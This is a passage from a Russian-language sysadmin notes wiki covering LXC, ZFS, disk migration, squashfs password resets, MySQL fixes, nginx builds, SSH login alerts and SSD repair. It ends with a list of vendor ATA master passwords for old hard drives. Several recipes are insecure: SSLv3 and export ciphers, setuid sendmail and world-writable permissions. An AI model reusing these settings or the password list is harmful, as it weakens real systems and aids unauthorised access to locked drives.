    ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv3:+EXP;
    ssl_prefer_server_ciphers on;

    location / {
        proxy_pass http://127.0.0.1:5000;
    }
}

server {
    listen   80; ## listen for ipv4; this line is default and implied
    #listen   [::]:80 default ipv6only=on; ## listen for ipv6

    # Make site accessible from hostanme on port 80
    # change this according to your domain/hostanme
    server_name lwp.yourdomain.com;

    # redirect all requests to https
    return 301 https://$host$request_uri;
}

Работа с контейнерами

После создания контейнера можно его запустить командой lxc-start, указав имя - test:

lxc-start -n test

Для того, чтобы попасть в консоль контейнера в коммандной строке выполнить:

lxc-console -n test

Так как хостовая система Ubuntu, то логин и пароль для входа в контейнер по-умолчанию:

username: ubuntu
password: ubuntu

Чтобы выйти из консоли контейнера нужно нажачать Ctrl+a и затем q (без Ctrl).
Для того чтобы создать пользователя в контейнере не заходя в него нужно либо сделать chroot в папку с файловой системой контейнера, либо выполнить lxc-attach, а затем addduser:

lxc-attach -n test
adduser username

Настраиваем ZFS-pool

Замечательным свойством LXC является поддержка ZFS.
Использование ZFS позволяет использовать снепшоты для бекапа, а также дедупликацию и компрессию для экономии места.
Если на хосте LXC есть ZFS volume, то контейнеры можно создавать как в нем, так и по старому в директории. Просто при создании контейнера нужно указывать имя zfs pool, в котором будет создан dataset

sudo zpool create -f lxc /dev/xvdb
sudo zpool status
sudo zfs list
sudo zfs set dedup=on lxc
sudo zfs set compression=on lxc
sudo zdb -S lxc

Миграция контейнера из OpenVZ

https://github.com/cdown/openvz-to-lxc/blob/master/openvz-to-lxc https://l3net.wordpress.com/2012/10/26/easy-lxc-running-openvz-containers-in-lxc-2/

Эксперимент проводится на контейнере с Debian 7.0.
На хосте OpenVZ я распаковал dump контейнера, смонтировал образ ploop, затем сжал файлики, перенес их на хост LXC, создал новый контейнер и распаковал в него содержимое архива.
На хосте OpenVZ:

tar -xvf ./ve-dump.103.1492091356.tar 
mkdir /mnt/hdd
mount -t ploop ./DiskDescriptor.xml /mnt/hdd 
tar -cvpf ./hdd.tar.gz /mnt/hdd

Передаем на хост LXC:

 dd if=./hdd.tar.gz | ssh mike@lxc.host dd of=/mnt/hdd.tar.gz

На хосте LXC:

cd /mnt/
sudo tar -xvf ./hdd.tar.gz

Чистим контейнер:

rm -Rf /var/lib/lxc/new_container/rootfs/*

И переносим туда файлики:

cp -aR /mnt/hdd/hdd/* /var/lib/lxc/new_container/rootfs/

Пробуем запустить контейнер:

lxc-start -n new_container

Контейнер стартует, однако консоль не отдает. :(

moove_ubuntu_to_another_disk

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Что делаем

У меня есть система Ubuntu 16.04, которая установлена на единственном разделе ext4 на диске /dev/sda.
Я подключаю другой диск и хочу перенести всю систему на него, а кроме того изменить разбивку разделов, выделив отдельный /boot.

Приступаем

Разбиваю диск. Отдаю 512Mb на /boot, 16Gb на swap (чтобы работал hibernate), а остальное в раздел brtfs.
Затем монтирую эти разделы и переношу на них данные:

sudo mkdir /mnt/restore
sudo mount /dev/sdb5 /mnt/restore/
sudo mkdir /mnt/restore/{mnt,sys,run,dev,proc,media,tmp}
sudo mkdir --parents /mnt/restore/var/log/
sudo touch /mnt/restore/var/log/lastlog
sudo chmod -R a+rw /mnt/restore/tmp
sudo rsync -av --exclude=/mnt --exclude=/sys --exclude=/run --exclude=/dev --exclude=/proc --exclude=/media --exclude=/tmp --exclude=/var/log/lastlog --exclude=/boot / /mnt/restore/
sudo rsync -av /boot /mnt/boot
#sudo grub-install --boot-directory=/mnt/boot --root-directory=/mnt/restore /dev/sdb

Затем нужно поправить файлик /etc/fstab на новом диске и прописать туда UUID новых разделов /boot и /.
В первый раз, когда я делал это, для новго раздела btrfs я сохранил опции монтирования, которые оставались от раздела ext4. Это было ошибкой, которая привела к тому, что загружалось ядро, а дальше загрузка останавливалась без каких бы то ни было ошибок. исправить все удалось выставив в поле опций монтирования defaults.

blkid /dev/sdb1
blkid /dev/sdb5
sudo nano /mnt/restore/etc/fstab

Теперь надо установить GRUB:

sudo mount /dev/sdb5 /mnt/restore/
sudo rm /mnt/restore/boot/* -Rf
sudo mount --bind /dev /mnt/restore/dev/
sudo mount --bind /proc /mnt/restore/proc/
sudo mount --bind /sys /mnt/restore/sys/
sudo mount --bind /mnt/boot /mnt/restore/boot
sudo mount /dev/sdb1 /mnt/boot/
sudo mount --bind /mnt/boot /mnt/restore/boot
sudo chroot /mnt/restore/
grub-install /dev/sdb
update-grub
exit

update-grub нужен для того, чтобы в grub.cfg изменились UUID разделов.
Готово. Перезагружаемся и радуемся.

mount_and_rewrite_squashfs

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Проблема

Иногда бывает нужно внести некоторые маленькие изменения в образ LiveCD, упакованного в squashfs. Например - сбросить неизвестный пароль root.

Решение

Смонтировать squashfs непосредственно для записи нельзя. Можно только распаковать, изменить и запаковать обратно.
Устанавливаем нужные для работы пакеты:

sudo apt-get install squashfs-tools

Копируем файлик squashfs в директорию, где мы сможем его распаковать:

cp /mnt/clonezilla/live/filesystem.squashfs /path/to/workdir
cd /path/to/workdir

Распаковываем:

unsquashfs filesystem.squashfs

Дальше в директории /path/to/workdir/squashfs-root меняем нужные файлики.
Напрмер - меняем пароль в ./etc/shadow. Генерируем новый пароль (он будет password):

perl -e 'print crypt("password","\$6\$saltsalt\$") . "\n"'

Записываем получившееся значение в соответствующую строку в ./etc/passwd и пакуем squashfs обратно:

cd /path/to/workdir
sudo mksquashfs squashfs-root filesystem.squashfs -b 1024k -comp xz -Xbcj x86 -e boot

Однако, некоторые LiveCD не могут работать со сжатой squashfs (возникают ошибки монтирования root), поэтому пакуем без сжатия:

sudo mksquashfs squashfs-root filesystem.squashfs -b 1024k -e boot

mount_cifs_using_kerberos_auth

anonymous@undisclosed.example.com (Anonymous) — Thu, 26 Nov 2020 07:53:43 +0000

Нужно смонтировать папку, расшаренную по на Windows-хосте на хосте linux. Аутентифицироваться нужно по протоколу kerberos, от имени выделенной учетной записи (не пользовательской).
Добавляем в системный keytab-файл запись с учетными данными, с которыми будем монтировать директорию.

$ ktutil
ktutil: addent -password -p username@DOMAIN.LOCAL -k 1 -e RC4-HMAC
Password for username@DOMAIN.LOCAL: 
ktutil: wkt /etc/krb5.keytab
ktutil: q

Проверяем, что учетные данные попали в keytab:

klist -ke
Keytab name: FILE:/etc/krb5.keytab
KVNO Principal
---- --------------------------------------------------------------------------
   1 username@DOMAIN.LOCAL (aes256-cts-hmac-sha1-96)

Строка в /etc/fstab:

//server/share /mnt/path cifs sec=krb5,uid=nobody,iocharset=utf8,noperm 0 0

Скрипт для периодического обновления keytab:

#!/bin/bash
#. ~/.bash_profile
/usr/bin/kinit -k -t /etc/krb5.keytab username
exit 0

mount_partitions_on_loop_device

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Автоматическое обнаружение разделов

Автоматически распознать разделы в файле-образе можно так:

sudo kpartx -v -a /mnt/hdd/image_file.img
ls /dev/mapper/

Монтирование разделов по смещению

Вручную смонтировать разделы из файла-образа можно сделать, указав команде losetup нужное смещение:

$ /sbin/fdisk -lu disk.img
You must set cylinders.
You can do this from the extra functions menu.

Disk disk.img: 0 MB, 0 bytes
255 heads, 63 sectors/track, 0 cylinders, total 0 sectors
Units = sectors of 1 * 512 = 512 bytes

      Device Boot      Start         End      Blocks   Id  System
disk.imgp1   *          63       96389       48163+  83  Linux
disk.imgp2           96390     2056319      979965   82  Linux swap / Solaris
disk.imgp3         2056320    78140159    38041920    5  Extended
disk.imgp5         2056383     3052349      497983+  83  Linux
disk.imgp6         3052413    10859939     3903763+  83  Linux
disk.imgp7        10860003    68372639    28756318+  83  Linux
disk.imgp8        68372703    76180229     3903763+  83  Linux
disk.imgp9        76180293    78140159      979933+  83  Linux

Тут смотрим размер юнита и смещение начала нужного раздела. В данном случае юнит - это один сектор размером 512 байт (Units = sectors of 1 * 512 = 512 bytes). Для раздела 7 смещение начала - 10860003 секторов. Теперь можно создавать loop-устройство с нужным смещением:

# losetup /dev/loop0 disk.img -o $((10860003 * 512))
# file -s /dev/loop0
/dev/loop0: Linux rev 1.0 ext3 filesystem data
# mount /dev/loop0 /mnt
[...]
# umount /mnt
# losetup -d /dev/loop0

Также, если на разделе действительно существует файловая система можно задать смещение непосредственно команде mount:

# mount -o loop,offset=$((10860003 * 512)) disk.img /mnt
[...]
# umount /mnt

move_home_dir_to_another_machine

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

sudo rsync -ax /old_home/user/ /new_home/user/
sudo chown -R user /new_home/user/
sudo chmod o+rw /new_home/user/ -R

multiple_java_versions

anonymous@undisclosed.example.com (Anonymous) — Wed, 09 Dec 2020 16:00:51 +0000

Мне необходимо собирать приложения java с помощью старой версии openjdk-11 (конкретно - openjdk-11.0.2).
Но при этом, я не могу просто удалить из системы дефолтный openjdk, поскольку от него зависят многие пакеты.
Поэтому я установлю в системе ту версию что мне нужно параллельно с текущей.
Скачиваем:

wget https://download.java.net/java/GA/jdk11/9/GPL/openjdk-11.0.2_linux-x64_bin.tar.gz

Распаковываем:

sudo tar -xvf ./openjdk-11.0.2_linux-x64_bin.tar.gz -C /usr/lib/jvm/

Смотрим что у нас сейчас запускается под видом java (интересует текущий приоритет):

update-alternatives --query java

Прописываем альтернативный бинарник с приоритетом больше, чем текущий (последние цифры в команде):

sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk-11.0.2/bin/java 1122

И вот таким скриптом я заменяю все дефолтные бинарники java:

#!/bin/bash

new_path='/usr/lib/jvm/jdk-11.0.2/bin/'
bin_path='/usr/bin'
priority='1122'

for binary in `find /usr/lib/jvm/jdk-11.0.2/bin/ -type f`
do
  sudo update-alternatives --install $bin_path/`basename $binary` `basename $binary` $binary $priority
done

Также нужно, чтобы переменная $JAVA_HOME указывала на нужную JAVA. Обычно она указывает на /usr/lib/jvm/default-java, которая является симлинком до нужной директории. Делаем:

cd /usr/lib/jvm/
sudo rm -f default-java
sudo ln -s jdk-11.0.2 default-java

mysql-не-стартует-cant-create-ip-socket-permission-denied

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

В файл /etc/mysql/my.cnf
надо добавить строку

skip-networking

mysql_export_nad_import_databases

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Получаем список баз

mysql -u root -p
> SHOW DATABASES;

Дамп базы

mysqldump -u [username] -p [database_name] > [dumpfilename.sql]

Сжимаем дамп и переносим но новый сервер:

tar zcf dumpfilename.tar.gz dumpfilename.sql

Импорт базы

tar zxf dumpfilename.tar.gz

mysql -u [username] -p [database_name] < [dumpfilename.sql]

mysql_the_redo_log_file_is_not_a_multiple_of_innodb_page_size

anonymous@undisclosed.example.com (Anonymous) — Tue, 16 Aug 2022 10:36:44 +0000

После обновления mysql, работающего на ZFS до версии 8.0 сервис не стартует, а в логе /var/log/mysql/error.log и наблюдаю такое:

The redo log file ./#innodb_redo/#ib_redo5 size 3072000 is not a multiple of innodb_page_size

https://stackoverflow.com/a/73200473
Вот тут написано - что нужно довести его размер до кратного 8192 или 16384 (в завосимости от заданного innodb_page_size) путём дописывания нулей в конец файла.
В моем случае - размер файла кратен 8192, но не кратен 16384.
Попробую дописать в файл 8192 нуля:

dd if=/dev/zero bs=1 count=8192 of=./zeros
cat zeros >> /var/lib/mysql/#innodb_redo/#ib_redo5 
service mysql restart

Или еще проще, для всех файлов сразу:

truncate -s 64M /var/lib/mysql/#innodb_redo/#ib_redo*

В результате - сервис нормально стартует.
Однако - успешный запуск не предполагает успешного перезапуска. Чтобы зафиксировать успех делаем следующее:

копируем файлик сервиса, чтобы немного кастомизировать его:
```
cp /lib/systemd/system/mysql.service /etc/systemd/system/
```

Добавляем в файл /etc/systemd/system/mysql.service строку:

ExecStartPre=+/bin/bash -c '/usr/bin/truncate -s 64M /var/lib/mysql/#innodb_redo/#ib_redo*'

Обновляем конфиг сервисов:
```
systemctl daemon-reload
```
Проверяем:
```
service mysql restart
```

nexus_repo_setup

anonymous@undisclosed.example.com (Anonymous) — Tue, 29 Oct 2019 11:59:03 +0000

Nexus - универсальный репозиторий для пакетов и аретфактов.

Setup Nexus on Ubuntu 18.04

Устанавливаем JVM и nginx:

sudo apt-get update && sudo apt-get upgrade && sudo apt-get -y install openjdk-8-jre nginx

Создаем пользователя, от имени которого будет работать Nexus:

sudo useradd -M -r -s /dev/null nexus

Создаем директорию, где будет лежать Nexus:

sudo mkdir /opt/nexus

Скачиваем Nexus (возможно лучше скачать с сайта)

wget https://sonatype-download.global.ssl.fastly.net/repository/repositoryManager/3/nexus-3.19.1-01-unix.tar.gz

Переносим в нее архив и распаковываем:

sudo mv ./nexus-3.19.1-01-unix.tar.gz /opt/nexus/
cd /opt/nexus
sudo tar -xvf ./nexus-3.19.1-01-unix.tar.gz

Указываем в конфигурации Nexus от имени какого пользователя он будет работать:

echo 'run_as_user="nexus"' > /opt/nexus/nexus-3.19.1-01/bin/nexus.rc

даем права пользователю nexus на файлы в папках:

sudo chown nexus:nexus /opt/nexus/ -R

Создаем файл для запуска Nexus как сервиса:

cat <<EOF | sudo tee /lib/systemd/system/nexus.service
[Unit]
Description=nexus service
After=network.target
  
[Service]
Type=forking
LimitNOFILE=65536
ExecStart=/opt/nexus/nexus-3.19.1-01/bin/nexus start
ExecStop=/opt/nexus/nexus-3.19.1-01/bin/nexus stop
User=nexus
Restart=on-abort
  
[Install]
WantedBy=multi-user.target
EOF

Включаем и стартуем сервис:

sudo systemctl daemon-reload
sudo systemctl enable nexus.service
sudo systemctl start nexus.service
sudo systemctl status nexus.service

Создаем конфигурацию сайта в nginx:

cat <<EOF | sudo tee ls /etc/nginx/sites-available/default
  server {
    listen   *:80;
    #server_name  www.example.com;

    # allow large uploads of files
    client_max_body_size 1G;

    # optimize downloading files larger than 1G
    #proxy_max_temp_file_size 2G;

    location / {
      # Use IPv4 upstream address instead of DNS name to avoid attempts by nginx to use IPv6 DNS lookup
      proxy_pass http://127.0.0.1:8081/;
      proxy_set_header Host \$host;
      proxy_set_header X-Real-IP \$remote_addr;
      proxy_set_header X-Forwarded-For \$proxy_add_x_forwarded_for;
    }
  }
EOF

И перезагружаем конфигурацию nginx:

sudo service nginx reload

nginx

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Установка пререквизитов и компиляция минимального nginx для reverse-proxy

apt-get install build-essential libwww-perl libpcre3-dev zlib1g-dev libssl-dev

wget http://nginx.org/download/nginx-1.0.14.tar.gz

tar -xvf nginx-1.0.14.tar.gz
cd nginx-1.0.14

make clean; ./configure --without-http_autoindex_module --without-http_browser_module --without-http_fastcgi_module --without-http_geo_module --without-http_empty_gif_module --without-http_map_module --without-http_memcached_module --without-http_ssi_module --without-http_userid_module --without-mail_pop3_module --without-mail_imap_module --without-mail_smtp_module --without-http_split_clients_module --without-http_uwsgi_module --without-http_scgi_module --without-http_referer_module --without-http-cache --without-http_upstream_ip_hash_module --with-http_ssl_module --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log

make

make install

Запуск nginx

/usr/local/nginx/sbin/nginx

Перезапуск nginx

kill $(cat /usr/local/nginx/logs/nginx.pid) && /usr/local/nginx/sbin/nginx

После первого запуска:

chown www-data /usr/local/nginx/proxy_temp -R
chmod 777 /usr/local/nginx/proxy_temp

/usr/local/nginx/conf/nginx.conf

user  www-data;
worker_processes  20;
worker_rlimit_nofile 32768;

error_log  logs/error.log;
#error_log  logs/error.log  notice;
#error_log  logs/error.log  info;

#pid        logs/nginx.pid;


events {
    worker_connections  10240;
}


http {

#log_format upstream   '$upstream_addr | $request - [ $upstream_response_time ]';

server_tokens off;
client_header_timeout 3m;
send_timeout 3m;
client_header_buffer_size 1k;
large_client_header_buffers 4 4k;
output_buffers 1 32k;
postpone_output 1460;
sendfile on;
tcp_nopush on;
client_max_body_size 20M;
tcp_nodelay on;
keepalive_timeout 75 20;
server_names_hash_bucket_size 128; # this seems to be required for some vh

log_format main '$remote_addr - $remote_user [$time_local] $request '
'"$status" $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';

proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_connect_timeout 90;
proxy_send_timeout 90;
proxy_read_timeout 90;

# default virtual host
server {
listen 80 default;
server_name _;

#access_log /var/log/nginx/upstream_access.log  upstream;
access_log /var/log/nginx/default-access.log main;

server_name_in_redirect off;

location / {
index index.html;
root /var/www/default/htdocs;
}
}

# here resides my virtual host configurations
include /usr/local/nginx/conf/virtual.conf;

}

/usr/local/nginx/conf/virtual.conf

server {
listen 80;
listen 443;
include /usr/local/nginx/conf/ssl.conf;

server_name autosys.tk;

location / {
proxy_pass http://autosys.tk;
 proxy_set_header   X-Real-IP $remote_addr;
 proxy_set_header   Host $http_host;
 proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;

}
}

/usr/local/nginx/conf/ssl.conf

ssl                     on;
ssl_protocols           SSLv3 TLSv1;
ssl_certificate         /usr/local/nginx/conf/ssl/cert.pem;
ssl_certificate_key     /usr/local/nginx/conf/ssl/cert.key;

mkdir /usr/local/nginx/conf/ssl

Для большей безопасности ограничиваем доступ к сертификатам:

chown www-data:www-data /usr/local/nginx/conf/ssl
chmod 700 /usr/local/nginx/conf/ssl

Перейдем в эту папку и с генерируем сертификат:

cd /usr/local/nginx/conf/ssl
openssl req -new -x509 -days 9999 -nodes -out cert.pem -keyout cert.key

Если через nginx не проходят куки!

 apt-get install libpcre3 libpcre3-dev libperl-dev lua5.1 liblua5.1-dev

Устанавливаем LuaJIT-2.0

wget http://luajit.org/download/LuaJIT-2.0.0-beta10.tar.gz
tar -xvf LuaJIT-2.0.0-beta10.tar.gz
cd LuaJIT-2.0.0-beta10
make && make install
ln -s /usr/local/lib/liblua5.1.so /usr/local/lib/liblua.so
export LUAJIT_LIB=/usr/local/lib/
export LUAJIT_INC=/usr/local/include/luajit-2.0/
LD_LIBRARY_PATH=/usr/local/lib/:$LD_LIBRARY_PATH

Скачиваем и распаковываем ngx_devel_kit

wget https://github.com/simpl/ngx_devel_kit/tarball/master
tar -xvf master.1

Скачиваем и распаковываем lua-nginx-module

wget https://github.com/chaoslawful/lua-nginx-module/tarball/master
tar -xvf master

Конфигурируем и компилируем и устанавливаем nginx
Надо следить за

--add-module=/root/chaoslawful-lua-nginx-module-d0d9140/ --add-module=/root/simpl-ngx_devel_kit-4192ba6/

в конце строки.

make clean; ./configure --without-http_autoindex_module --without-http_browser_module --without-http_fastcgi_module --without-http_geo_module --without-http_empty_gif_module --without-http_map_module --without-http_memcached_module --without-http_ssi_module --without-http_userid_module --without-mail_pop3_module --without-mail_imap_module --without-mail_smtp_module --without-http_split_clients_module --without-http_uwsgi_module --without-http_scgi_module --without-http_referer_module --without-http-cache --without-http_upstream_ip_hash_module --with-http_ssl_module  --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log  --add-module=/root/chaoslawful-lua-nginx-module-d0d9140/ --add-module=/root/simpl-ngx_devel_kit-4192ba6/

make -j2
make install

После make install не забываем перезапустить nginx.

Перезапускаем

kill $(cat /usr/local/nginx/logs/nginx.pid) && /usr/local/nginx/sbin/ngin

И смотрим что же получилось? А получилась вот такая великолепная штука: http://wiki.nginx.org/HttpLuaModule, которая по уверению его создателей на среднем настольном ПК тянет 25 тысяч запросов в секунду. Внимательно изучив документацию становится понятно, что в среде исполнения Lua доступны все события и внутренние обработчики Nginx. Конкретно для нашей задачи мы будем использовать директиву header_filter_by_lua . Открываем конфигурационный файл, выбираем нужный location и добавляем простой код:

header_filter_by_lua '
        local headers = ngx.header["Set-Cookie"]
        if headers then
            if type(headers) == "string" then
                headers = {headers}
            end
            for i, header in ipairs(headers) do
                local cookie = ngx.re.match(header, "JSESSIONID=([^;]+);", "io")
                if cookie then
                    headers[i] = "JSESSIONID=" .. cookie[1] .. "; domain=.frontend.com; path=/newpath;"
                end
            end
            ngx.header["Set-Cookie"] = headers
        end
';

Тут приведен самый простой вариант обработчика — первый код на lua который я увидел в своей жизни. Можно и нужно написать универсальный парсер хедеров Set-Cookie, страна уже ждет своего героя в комментариях!

notebook_hints

anonymous@undisclosed.example.com (Anonymous) — Thu, 17 Jun 2021 09:15:55 +0000

Состояние батареи

Посмотреть текущее состояние батареи в ноутбуке под управлением Linux можно так:

upower -i /org/freedesktop/UPower/devices/battery_BAT1

Последняя цифра в пути может быть другой (например - 0)

Текущее потребление

upower -d | grep energy-rate

Энергопотребление процессора

Увидеть текущее энергопотребление процессора (и только процессора) позволит утилита powerstat:

sudo apt-get install powerstat
sudo powerstat -R -c -z

Энергопотребление AMD GPU

Посмотреть текущее энергопотребление AMD GPU можно так:

sudo watch -n 0.5  cat /sys/kernel/debug/dri/0/amdgpu_pm_info

Посмотреть существующие профили энергопотребления:

cat /sys/class/drm/card0/device/pp_power_profile_mode

Включить какой-то профиль так:

echo "5" > /sys/class/drm/card0/device/pp_power_profile_mode

notebook_power_management_in_linux

anonymous@undisclosed.example.com (Anonymous) — Wed, 04 Jun 2025 07:56:53 +0000

Чем отрегулировать энергопотребление на ноутбуке под Linux

Есть такая утилитка

tlp - Save battery power on laptops
sudo add-apt-repository ppa:linuxuprising/apps
sudo apt update
sudo apt install tlpui tlp
sudo service tlp start
sudo tlpui

Bluetooth issues

В /etc/tlp.conf есть параметр USB_EXCLUDE_BTUSB

notify_on_ssh_connection_established

anonymous@undisclosed.example.com (Anonymous) — Tue, 25 Jun 2019 08:11:15 +0000

Задача

Нужно отправлять уведомления, когда пользователь подключается по SSH.
Реализовать это можно несколькими способами.
Тут я рассмотрю варианты с отправкой уведомлений средствами sshrc и pam_exec.

sshrc

Скрипт sshrc запусается от имени пользователя при успешном установлении ssh-сессии в интерактивном режиме (то есть неинтерактивные сессии, которые, например, создают ssh-туннели, этот скрипт не запускают). Чтобы с его помощью отправлять уведомления нужно настроить sendmail, убедиться, что сообщения отправляются и потом прописать в файл /etc/ssh/sshrc такое:

ip=`echo $SSH_CONNECTION | cut -d " " -f 1`

#logger -t ssh-wrapper $USER login from $ip
printf "Subject: SSH Connection\nFrom: admin@autosys.tk\nUser $USER just logged in from $ip" | sudo sendmail admin@autosys.tk 2>/dev/null

Вероятно, может понадобиться разрешить запуск sendmail от имени непривилегированных пользователей:

sudo chmod 4755 /usr/sbin/sendmail
sudo ln -s /usr/sbin/sendmail /usr/bin

Отправка уведомлений с помощью pam_exec

К сожалению, отправка уведомлений с помощью sshrc может не работать, если у пользователя сконфигурирован собственый файл ~/.ssh/rc. В этом случае, скрипт /etc/ssh/sshrc не работает и на помощь приходит pam_exec. В качестве бонуса - этот метод позволяет настроить уведомление и о других событиях входа (не только по ssh).
Итак, пишем скрипт login-notify.sh, который будет запускаться при успешной аутентификации. Например такой:

#!/bin/sh

sender="admin@autosys.tk"
recepient="admin@autosys.tk"

if [ "$PAM_TYPE" != "close_session" ]; then
    host="`hostname`"
    subject="SSH Login: $PAM_USER from $PAM_RHOST on $host"
    # Message to send, e.g. the current environment variables.
    message="`env`"
    printf "Subject: $subject\nFrom: $sender\n$message\n`date`" | sendmail $recepient 2>/dev/null
#   echo "$message" | mailx -r "$sender" -s "$subject" "$recepient"
fi

И делаем файл исполняемым.
После этого в файл /etc/pam.d/sshd добавляем строку:

session optional pam_exec.so seteuid /path/to/login-notify.sh

Для отладки, модуль pam_exec добавляем как optional (впоследствии можно заменить на required).
И указываем файл запускаемомго скрипта.

nsa_python_course

anonymous@undisclosed.example.com (Anonymous) — Wed, 19 Feb 2020 14:25:22 +0000

Курс Питона (Python) от АНБ (NSA) - Python_Programming_Course_from_NSA.pdf

nvtop_on_amazonlinux2

anonymous@undisclosed.example.com (Anonymous) — Mon, 18 Apr 2022 14:45:44 +0000

https://github.com/Syllo/nvtop

cmake 3.xx:

sudo yum remove cmake
wget https://github.com/Kitware/CMake/releases/download/v3.23.1/cmake-3.23.1.tar.gz
tar -xvf ./cmake-3.23.1.tar.gz 
cd cmake-3.23.1/
sudo yum install gcc-c++ openssl-devel
./bootstrap
make
sudo make install
exit
## Exit needed to apply cmake env

nvtop

sudo yum install ncurses-devel git
cd ~
git clone https://github.com/Syllo/nvtop.git
mkdir -p nvtop/build && cd nvtop/build
cmake .. -DNVIDIA_SUPPORT=ON -DAMDGPU_SUPPORT=OFF
sudo make install

ocz_vertex2_rom

anonymous@undisclosed.example.com (Anonymous) — Sat, 16 Feb 2019 19:27:08 +0000

OCZ Vertex2 ES
Micron - 29F64G08AJABA
SandForce - SF-1565TA3-SBH
http://update.ocz.com/firmware/release/sf/p1/15026
OCZ-VERTEX2 EX, S/N - OCZ-OZV966H55884M8KN, fw.ver. 1.37

Суперконденсатор - HZ202, 0.09F, 200mOm, 5.5V
http://www.hddoracle.com/viewtopic.php?f=95&t=166&p=334
https://www.hardmaster.info/faq/razblokirovka-ssd-ocz-vertex-450.html
http://anadoxin.org/blog/sending-ata-commands-on-linux.html
http://files.hddguru.com
http://spritesmods.com/?art=hddhack
https://ayvan.livejournal.com/39258.html

Диск не читается и не пишется.
В выводе

sudo hdparm -I /dev/sdb

такое:

Security: 
        Master password revision code = 65534
                supported
        not     enabled
                locked
        not     frozen
        not     expired: security count
                supported: enhanced erase

После выполнения Secure Erase с помощью OCZTool становится так:

Security: 
        Master password revision code = 65534
                supported
        not     enabled
        not     locked
        not     frozen
        not     expired: security count
                supported: enhanced erase

Однако, по прежнему не читается. Экспериментальным путем установлено, что если диск “на ходу” (не выключая компа) отключить, а потом подключить обратно - он начинает читаться и писаться. Как с помощью dd, так и другими методами (форматирование и прочие). НО! есл завершить работу системы штатно, с подключенным диском, а потом систему включить - диск будет locked. То есть, он лочится либо на этапе завершения работы системы, либо на этапе определения диска системой при старте.

Что попробывал

sudo hdparm --user-master m --security-set-pass NULL /dev/sdb
sudo hdparm --user-master u --security-set-pass NULL /dev/sdb
sudo hdparm --security-disable NULL /dev/sdb
sudo hdparm --security-freeze /dev/sdb

В итоге стало так:

Security: 
        Master password revision code = 1
                supported
        not     enabled
        not     locked
                frozen
        not     expired: security count
                supported: enhanced erase

Однако, после выключения/включения диск опять залочился.

Что помогло

А помогла замена суперконденсатора,а после этого Secure Erase с помощью OCZToolbox.

По делу

https://www.eevblog.com/forum/repair/ocz-vertex-2-ssd-firmware/ In order to fix the Vertex 2 when not recognized by the BIOS, you will need the manufacturing tool called mp_tool by Sandforce together with the license file *.lic and the firmware package file *.dst. All of these are posted in a site in China so use baidu.com to search for it. The mp_tool is included in an image of 1.2GB or so which you will need to write to a USB drive and boot from the USB drive. The site that posts the tool included the instruction so follow it.

As far as the Vertex 2 SSD goes, you will need to connect P8 and P9 (the two copper pads in the back of the PCB) when powering it up to force it into manufacturing mode to allow the mp_tool to talk to it via the SATA cable. So jump those two pads, connect the power cable and after a few second disconnect the two pads because when the mp_tool talks to the drive, at some point in time it will reboot the drive and you don't want to force it into manufacturing mode at that time.

If your drive configuration is not included in the *.lic file, it gets much harder because you will have to modify the mp_tool itself to overwrite things, which I am not going into details beside the fact that the tool is written in python script and you should be able to decompile it and modify the script as you like.

As far as the serial port goes, there is a tool called ecli.exe that will decode the output and display something readable, which might be useful when the mp_tool fail, you could find out why it fail from the serial output.

If you plan on using these SSDs with the Sandforce SF-1200 series controller, it is a good idea to download these tools now and save them somewhere for later since they will probably won't be available forever. The links below are completely DOWNLOAD AT YOUR OWN RISK!!!! I recommend using a junk computer for all of these activities since the files are from China so please be very careful using them.

Link to mptool, firmware, and license file download:
http://pan.baidu.com/s/1m9Oia#list/path=%2FSF1222
(Use Tampermonkey browser add-on to download if you don't have a baidu account. You could copy the link generated by the add-on and use a download manager to connect as many connection as you can at the same time because a connection is normally slow and timeout very quickly before you could download much at all.)

Russian forum where I got the link above from, it also got the link to the instruction: http://forum.ru-board.com/topic.cgi?forum=84&topic=4797&start=0&limit=1&m=6#1

Here is the link to the eCLI application used for SF-2000 series, but seem to work fine with SF-1200 series:
http://www.upantool.com/ssd/tool/sandforce/10232.html

Инстуркция для OCZ Vertex2 60Gb

http://forum.ru-board.com/topic.cgi?forum=84&topic=5360&start=960#7
http://forum.ru-board.com/topic.cgi?forum=84&topic=5360#1

old_hdds_master_paswords

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

SEAGATE → “Seagate” +25 spaces

MAXTOR series N40P → “Maxtor INIT SECURITY TEST STEP ” +1 or +2 spaces series N40P → “Maxtor INIT SECURITY TEST STEP F” series 541DX → “Maxtor” +24 spaces series Athena (D541X model 2B) and diamondmax80 → “Maxtor”

WESTERN DIGITAL → “WDCWDCWDCWDCWDCWDCWDCWDCWDCWDCWD”

FUJITSU → 32 spaces

SAMSUNG → “ttttttttttttttttttttttttttttttttt” (32 times t)

IBM series DTTA → “CED79IJUFNATIT” +18 spaces series DJNA → “VON89IJUFSUNAJ” +18 spaces series DPTA → “VON89IJUFSUNAJ” +18 spaces series DTLA → “RAM00IJUFOTSELET” +16 spaces series DADA-26480 (6,4gb) → “BEF89IJUF__AIDACA” +15 spaces

HITACHI series DK23AA, DK23BA and DK23CA → 32 spaces

TOSHIBA → 32 spaces

For xbox hdds try “XBOXSCENE” or “TEAMASSEMBLY” too

openssl_hints

anonymous@undisclosed.example.com (Anonymous) — Mon, 30 Jan 2023 07:23:19 +0000

Конвертация серверного сертификата из pfx в pem

